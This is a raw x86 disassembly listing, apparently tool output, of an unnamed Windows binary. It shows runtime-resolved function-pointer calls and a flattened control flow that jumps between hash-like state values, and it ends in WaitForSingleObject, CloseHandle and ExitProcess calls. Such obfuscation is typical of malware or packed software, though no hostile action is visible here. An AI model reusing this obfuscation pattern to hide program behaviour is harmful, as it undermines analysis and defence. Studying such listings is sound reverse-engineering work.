mov dword [esi + 0xa4], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc0]
mov edx, dword [0x530af0]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [ebx + 8], str.Microsoft
mov dword [esi + 0xa0], eax
call ecx
mov ecx, dword [0x530cb8]
mov edx, dword [esi + 0x9f4]
mov edi, dword [0x530b2c]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0x9c], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0xc], 0x10
call ecx
mov ecx, dword [0x530ccc]
mov edx, dword [0x530b18]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x98], eax
call ecx
mov ecx, dword [esi + 0x9a0]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [0x530aec]
mov edx, dword [esi + 0x968]
mov edx, dword [edx]
sub esp, 0xc
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
mov dword [edi + 8], 0x45dfe0
call eax
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0x9a0]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x94], eax
call ecx
mov ecx, 0
mov edx, dword [0x4ee4a8]
movzx edx, word [edx]
mov edi, dword [esi + 0xa48]
mov dword [edi], edx
mov edx, dword [esi + 0xa48]
mov edx, dword [edx]
mov edi, ecx
sub edi, edx
mov edx, ecx
sub edx, 1
add edi, edx
sub ecx, edi
mov edx, dword [0x4ee4a8]
movzx ecx, word [edx + ecx*2]
mov edx, dword [esi + 0xa4c]
mov dword [edx], ecx
mov ecx, dword [esi + 0xa4c]
mov ecx, dword [ecx]
mov edx, dword [0x4ee4a8]
mov edi, dword [esi + 0xa48]
mov edi, dword [edi]
shl edi, 1
add edx, edi
add edx, 4
mov edi, dword [0x4ee4a8]
add edi, 2
mov ebx, dword [esi + 0xa48]
mov ebx, dword [ebx]
mov dword [esi + 0x90], eax
mov eax, dword [esi + 0x9ec]
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.004016a0
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b1c]
mov edx, dword [esi + 0x968]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0x9a4]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [esi + 0x9ec]
mov edx, dword [0x530aec]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [ebx], edi
call eax
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0x9c8]
mov edi, dword [0x530af8]
mov ebx, dword [esi + 0x968]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x8c], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0x9a4]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x88], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0x99c]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x84], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x990]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x80], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x970]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x7c], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0x988]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x78], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0x98c]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x74], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x98c]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x70], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x988]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x6c], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0x980]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x68], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0x980]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x64], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0x994]
mov edx, dword [edx]
mov edi, dword [esi + 0x968]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x60], eax
call ecx
mov ecx, dword [0x530cd8]
mov edx, dword [esi + 0x968]
mov edx, dword [edx]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x5c], eax
call ecx
mov eax, 0x20a
mov ecx, dword [esi + 0x9e4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], 0x20a
mov dword [esi + 0x58], eax
call fcn.00432790
add esp, 8
mov eax, dword [0x530d24]
mov ecx, dword [esi + 0x9e4]
sub esp, 0xc
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], 0
mov dword [edx], 0
call eax
mov ecx, dword [esi + 0x95c]
mov dword [ecx], eax
mov eax, dword [esi + 0x95c]
mov dword [esi + 0x950], 0x9451d9a0
mov dword [esi + 0x54], eax
jmp 0x40ad3c
mov eax, dword [0x530d08]
mov ecx, dword [esi + 0xa0c]
mov ecx, dword [ecx]
mov edx, dword [esi + 0x964]
mov edx, dword [edx]
sub esp, 0x14
mov edi, esp
mov dword [edi + 0x10], ecx
mov dword [edi], edx
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 2
call eax
mov ecx, dword [esi + 0x958]
mov dword [ecx], eax
mov eax, dword [esi + 0x958]
mov dword [esi + 0x950], 0xad269308
mov dword [esi + 0x4c], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x9b4]
mov ecx, dword [esi + 0x96c]
mov dword [ecx + 0x10], eax
mov eax, dword [esi + 0x9e0]
mov ecx, dword [esi + 0x96c]
mov dword [ecx + 0x14], eax
mov eax, dword [esi + 0x96c]
mov dword [eax + 0x1c], 0
mov eax, dword [0x530ce8]
mov ecx, dword [esi + 0x96c]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
call eax
mov dword [esi + 0x950], 0x2a342b31
mov dword [esi + 0x48], eax
jmp 0x40ad3c
mov eax, 0
mov ecx, 0x20a
mov edx, dword [esi + 0x9e0]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x38], eax
mov dword [esi + 0x34], ecx
call fcn.00455f70
add esp, 0xc
mov ecx, 0x104
lea edx, str._q__u
mov edi, 6
mov ebx, dword [esi + 0x9e0]
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], 6
mov dword [esi + 0x30], eax
mov dword [esi + 0x2c], ecx
mov dword [esi + 0x28], edi
call fcn.00441460
add esp, 0x10
mov ecx, dword [esi + 0x9c0]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x24], eax
call fcn.004510c0
add esp, 4
mov ecx, 0xfe
mov edx, dword [esi + 0x9c0]
mov edi, dword [esi + 0x9e0]
add edi, 0xc
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0xfe
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x20], ecx
call fcn.00441460
add esp, 0x10
mov ecx, dword [esi + 0x9b4]
mov edx, dword [esi + 0x96c]
mov dword [edx + 0x10], ecx
mov ecx, dword [esi + 0x9e0]
mov edx, dword [esi + 0x96c]
mov dword [edx + 0x14], ecx
mov ecx, dword [esi + 0x96c]
mov dword [ecx + 0x1c], 0
mov ecx, dword [0x530ce8]
mov edx, dword [esi + 0x96c]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x1c], eax
call ecx
mov dword [esi + 0x950], 0x3d946393
mov dword [esi + 0x18], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x96c]
mov eax, dword [eax + 0x38]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
mov ecx, dword [0x530ce4]
sub esp, 0x10
mov edx, esp
mov dword [edx + 0xc], 0
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx], 0
mov dword [esi + 0x14], eax
call ecx
mov ecx, dword [esi + 0xa1c]
mov dword [ecx], 1
mov dword [esi + 0x950], 0xb431c0d4
mov dword [esi + 0x10], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x964]
mov dword [esi + 0x950], 0x826740ed
mov dword [esi + 0xc], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x964]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov dword [esi + 0x950], 0xbeb607de
mov dword [esi + 8], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x95c]
mov dword [esi + 0x950], 0x9a878f02
mov dword [esi + 4], eax
jmp 0x40ad3c
sub esp, 4
mov eax, esp
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov dword [esi + 0x950], 0xdc6d5a4a
jmp 0x40421e